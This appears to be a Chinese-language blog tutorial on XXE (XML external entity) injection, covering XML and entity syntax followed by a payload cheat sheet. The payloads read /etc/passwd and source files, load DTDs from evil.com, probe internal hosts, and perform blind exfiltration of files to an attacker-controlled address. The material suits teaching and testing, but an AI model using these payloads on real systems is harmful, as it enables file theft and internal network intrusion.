XXE漏洞

原文链接:http://wyb0.com/posts/xxe/

0x00 XXE

XXE漏洞是针对使用XML交互的Web应用程序的攻击方法

XML文件作为配置文件(spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛

0x01 XML格式

<?xml version="1.0" encoding="utf-8"?>  <!--xml声明-->

<!--文档类型定义-->
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to       (#PCDATA)>
  <!ELEMENT from     (#PCDATA)>
  <!ELEMENT heading  (#PCDATA)>
  <!ELEMENT body     (#PCDATA)>
]>

<!--文档元素-->
<note>
<to>Tom</to>
<from>John</from>
<heading>Reminder</heading>
<body>Hi,I’am John</body>
</note>

0x02 内部声明与外部引用

<!--内部声明实体-->
<!ENTITY 实体名称 "实体的值">

<!--引用外部实体-->
<!ENTITY 实体名称 SYSTEM "URI">

0x03 XXE漏洞

  • 外部引用时可能会出现漏洞,几种payload:
<?xml version="1.0"?>
<!DOCTYPE a [
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<test>&xxe;</test>
<?xml version="1.0"?>
<!DOCTYPE a [
  <!ENTITY % d SYSTEM "http://evil.com/evil.dtd" >
  %d;
]>
<test>&b;</test>

evil.dtd中的内容为:<!ENTITY b SYSTEM "file:///etc/passwd" >
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://evil.com/evil.dtd">
<test>&b;</test>

evil.dtd中的内容为:<!ENTITY b SYSTEM "file:///etc/passwd" >
  • 简单绕过
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
  <!ELEMENT methodname ANY >
  <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >
]>
<methodcall>
  <methodname>&xxe;</methodname>
</methodcall>
  • 扫描内网
<!ENTITY portscan SYSTEM 'http://192.168.2.22:6379/'>
<!ENTITY smb SYSTEM '\\192.168.2.22\C$'>
<!ENTITY sqli SYSTEM 'http://192.168.2.22/a.php?id=-1+union+select+1,2,3--'>
  • Blind-XXE
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY % ttt SYSTEM "php://filter/convert.base64-encode/resource=/flag">
    <!ENTITY % remote SYSTEM "http://Your IP/evil.xml">
    %remote;   <!--引用remote来将外部文件evil.xml引入到解释上下文中-->
    %payload;   <!--执行%payload,这时会检测到send实体,然后在root节点中引用send,就可以成功实现数据转发-->
]>
<root>&send;</root>

<!--evil.xml内容:-->
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://Your IP/a.php?content=%ttt;'>">
<?xml version="1.0"?>  
<!DOCTYPE ANY[  
    <!ENTITY % file SYSTEM "file:///C:/1.txt">  
    <!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">  
    %remote;  
    %all;  
    %send;  
]>

<!--evil.xml内容:-->
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">

Reference(侵删):

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 或许是不知梦的缘故,流离之人追逐幻影! 0X00 前言 首先介绍一下什么是XXE: XXE全称是——XML Ext...
    RedTeamWing阅读 21,405评论 2 15
  • 0x01 XML基础 在聊XXE之前,先说说相关的XML知识吧。 定义 XML用于标记电子文件使其具有结构性的标记...
    Pino_HD阅读 20,975评论 2 10
  • 写下这个题目我是无感的――毕竟是瑜伽零基础,毕竞只上了一天布布老师的瑜伽理论课! 可能是以盘腿打座的姿势...
    如歌姐阅读 974评论 0 1
  • 越是卑微浅近的愿望,往往越难以实现,这样的愿望,都是靠命运的赏光。 是的,我想和你遇见,是那种遇见,不需要提前打好...
    辛虞姬阅读 243评论 0 0
  • 我相信大部分的女孩在20岁这个风华正茂的年纪都会有很多的追求者,那自然也就少不了几个闺中密友来一起商量对策,对某某...
    星星的密室阅读 169评论 0 2